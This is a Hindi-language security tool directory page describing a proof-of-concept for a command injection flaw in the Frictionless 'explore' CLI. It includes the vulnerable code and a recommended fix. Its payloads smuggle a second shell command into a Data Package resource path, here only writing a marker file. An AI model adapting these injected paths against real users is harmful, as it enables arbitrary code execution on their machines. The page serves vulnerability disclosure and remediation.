Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-93349-frictionless-command-injection — CVE-2026-93349 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Frictionless <= 5.20.0rc1 explore CLI में दुर्भावनापूर्ण Data Package descriptor पथों के माध्यम से एक OS कमांड इंजेक्शन है। | Kitploit
उपकरण/GitHubGitHub/saiteja-erukude/cve-2026-93349-frictionless-command-injection
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगकमांड एंड कंट्रोललर्निंग और शिक्षा
GitHubsaiteja-erukude/cve-2026-93349-frictionless-command-injection

CVE-2026-93349-frictionless-command-injection

CVE-2026-93349 के लिए प्रूफ-ऑफ-कॉन्सेप्ट, जो Frictionless <= 5.20.0rc1 explore CLI में दुर्भावनापूर्ण Data Package descriptor पथों के माध्यम से एक OS कमांड इंजेक्शन है।

रिपॉजिटरी देखें
177 दिन पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2026-93349: Frictionless <= 5.20.0rc1 explore OS कमांड इंजेक्शन

गंभीरता: उच्च, CVSS 3.1 8.8

वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

प्रभावित: सभी Frictionless संस्करण <= 5.20.0rc1

घटक: frictionless.console.commands.explore

CWE: CWE-78 (OS कमांड इंजेक्शन), CWE-20 (अनुचित इनपुट सत्यापन)

खोज और रिपोर्ट: Sai Teja Erukude


सारांश

Frictionless के 5.20.0rc1 प्रीरिलीज़ तक के सभी संस्करणों में frictionless explore CLI कमांड में एक OS कमांड इंजेक्शन भेद्यता मौजूद है।

यह कमांड उपयोगकर्ता द्वारा प्रदान किए गए Data Package डिस्क्रिप्टर को लोड करता है, रिसोर्स पाथ एकत्र करता है, resource.normpath प्राप्त करता है, उन पाथ को एक ही कमांड स्ट्रिंग में जोड़ता है, और उस स्ट्रिंग को सीधे os.system को पास करता है:

paths = [resource.normpath for resource in resources if resource.normpath]
os.system(f"vd {' '.join(paths)}")

चूँकि resources[*].path datapackage.json से डिस्क्रिप्टर-नियंत्रित मेटाडेटा है, एक हमलावर रिसोर्स पाथ में शेल मेटाकैरेक्टर शामिल कर सकता है। जब कोई शिकार दुर्भावनापूर्ण डिस्क्रिप्टर पर frictionless explore चलाता है, तो शेल उन मेटाकैरेक्टर की व्याख्या करता है और इंजेक्ट किए गए कमांड को निष्पादित करता है।

प्रभाव

एक हमलावर frictionless explore चलाने वाले उपयोगकर्ता के सुरक्षा संदर्भ में मनमाने कमांड निष्पादित कर सकता है।

यह उन वर्कफ़्लो को प्रभावित कर सकता है जहाँ उपयोगकर्ता अविश्वसनीय प्रोजेक्ट, आर्काइव, रिपॉज़िटरी, या साझा किए गए डेटासेट से Data Package डिस्क्रिप्टर का निरीक्षण, सत्यापन, या अन्वेषण करते हैं।

स्थानीय वातावरण के आधार पर, यह निम्नलिखित की अनुमति दे सकता है:

  • उपयोगकर्ता के लिए सुलभ फ़ाइलों को पढ़ना या संशोधित करना।
  • पर्यावरण चर और एप्लिकेशन रहस्यों तक पहुँचना।
  • स्थानीय प्रोग्राम या स्क्रिप्ट चलाना।
  • डेटा विश्लेषण या ऑटोमेशन वर्कफ़्लो को बाधित करना।

तकनीकी विवरण

भेद्य पाथ explore कमांड है:

frictionless explore <package>
  -> Package.from_descriptor(...)
  -> Resource.list()
  -> resource.normpath
  -> os.system(f"vd {' '.join(paths)}")

PoC एक Data Package डिस्क्रिप्टर उत्पन्न करता है जहाँ resources[0].path में एक हानिरहित मार्कर-फ़ाइल राइट पेलोड होता है।

Windows पर, उत्पन्न पाथ & कमांड सेपरेटर का उपयोग करता है:

data.csv & echo frictionless_explore_command_injection_triggered>"...\marker.txt" & rem

POSIX सिस्टम पर, उत्पन्न पाथ सेमीकोलन कमांड सेपरेटर का उपयोग करता है:

data.csv; printf %s frictionless_explore_command_injection_triggered > .../marker.txt; #

रनर इंस्टॉल किए गए पैकेज से वास्तविक frictionless explore कमांड को आमंत्रित करता है। यह चाइल्ड प्रोसेस के लिए PATH को साफ़ करता है ताकि इच्छित vd व्यूअर इंटरैक्टिव रूप से लॉन्च न हो, लेकिन जब शेल निर्मित कमांड स्ट्रिंग को पार्स करता है तो इंजेक्ट किया गया कमांड अभी भी निष्पादित होता है।

प्रूफ ऑफ कॉन्सेप्ट

package_builder.py हमलावर-नियंत्रित Data Package डिस्क्रिप्टर और एक बेनाइन CSV फ़ाइल बनाता है।

run_poc.py डिस्क्रिप्टर को सत्यापित करता है, frictionless explore को आमंत्रित करता है, और निष्पादन साक्ष्य प्रिंट करता है।

केवल स्थानीय परीक्षण वातावरण में चलाएँ:

python -m venv .venv
.venv\Scripts\activate
python -m pip install -r requirements.txt
python -B run_poc.py

शामिल requirements.txt frictionless==5.20.0rc1 को पिन करता है, जो इस रेंज में नवीनतम पुष्ट भेद्य प्रीरिलीज़ है।

भेद्य संस्करणों पर अपेक्षित साक्ष्य:

frictionless_version        : 5.20.0rc1
installed_package           : True
descriptor_valid            : True
listed_resource_count       : 1
raw_path_contains_payload   : True
normpath_contains_payload   : True
explore_returncode          : 0
viewer_launch_disabled      : True
marker_exists               : True
marker_contents
frictionless_explore_command_injection_triggered
success                     : True

महत्वपूर्ण साक्ष्य यह है कि दुर्भावनापूर्ण डिस्क्रिप्टर वैध है, डिस्क्रिप्टर-नियंत्रित पाथ resource.normpath में बना रहता है, और frictionless explore चलने के बाद marker.txt बन जाता है।

पेलोड जानबूझकर हानिरहित है। यह केवल यह स्थानीय मार्कर स्ट्रिंग लिखता है:

frictionless_explore_command_injection_triggered

यह शेल सेशन नहीं खोलता, नेटवर्क सेवा से कनेक्ट नहीं करता, रहस्य नहीं पढ़ता, डेटा नहीं हटाता, या PoC डायरेक्टरी के बाहर फ़ाइलों को संशोधित नहीं करता।

उपचार

डिस्क्रिप्टर-नियंत्रित पाथ को शेल को पास करने से बचें।

शेल-आधारित आमंत्रण को आर्ग्युमेंट वेक्टर का उपयोग करते हुए subprocess.run से बदलें:

subprocess.run(["vd", *paths], check=False)

यह प्रत्येक रिसोर्स पाथ को vd के लिए एक शाब्दिक आर्ग्युमेंट के रूप में पास करता है। पाथ के अंदर शेल मेटाकैरेक्टर उस एकल argv प्रविष्टि के अंदर सामान्य अक्षर बने रहते हैं और निष्पादित नहीं होते।

विशिष्ट पाथ अक्षरों को ब्लैकलिस्ट करना कमज़ोर है क्योंकि शेल सिंटैक्स प्लेटफ़ॉर्म और शेल के अनुसार भिन्न होता है। कमांड आमंत्रण सीमा मूल कारण है, इसलिए टिकाऊ समाधान को शेल व्याख्या से बचना चाहिए।

सुझाए गए पैच के लिए fix.md देखें।

श्रेय

Sai Teja Erukude द्वारा खोजा और रिपोर्ट किया गया।

प्रकटीकरण VulnCheck के माध्यम से समन्वित किया गया था।

संदर्भ

  • CVE रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-93349
  • अपस्ट्रीम फिक्स PR: https://github.com/frictionlessdata/frictionless-py/pull/1820
  • Frictionless रिपॉज़िटरी: https://github.com/frictionlessdata/frictionless-py
  • CWE-78: https://cwe.mitre.org/data/definitions/78.html
  • CWE-20: https://cwe.mitre.org/data/definitions/20.html
  • स्थानीय वॉकथ्रू: exploit_walkthrough.md
  • सुझाया गया फिक्स: fix.md
टूल डाउनलोड करें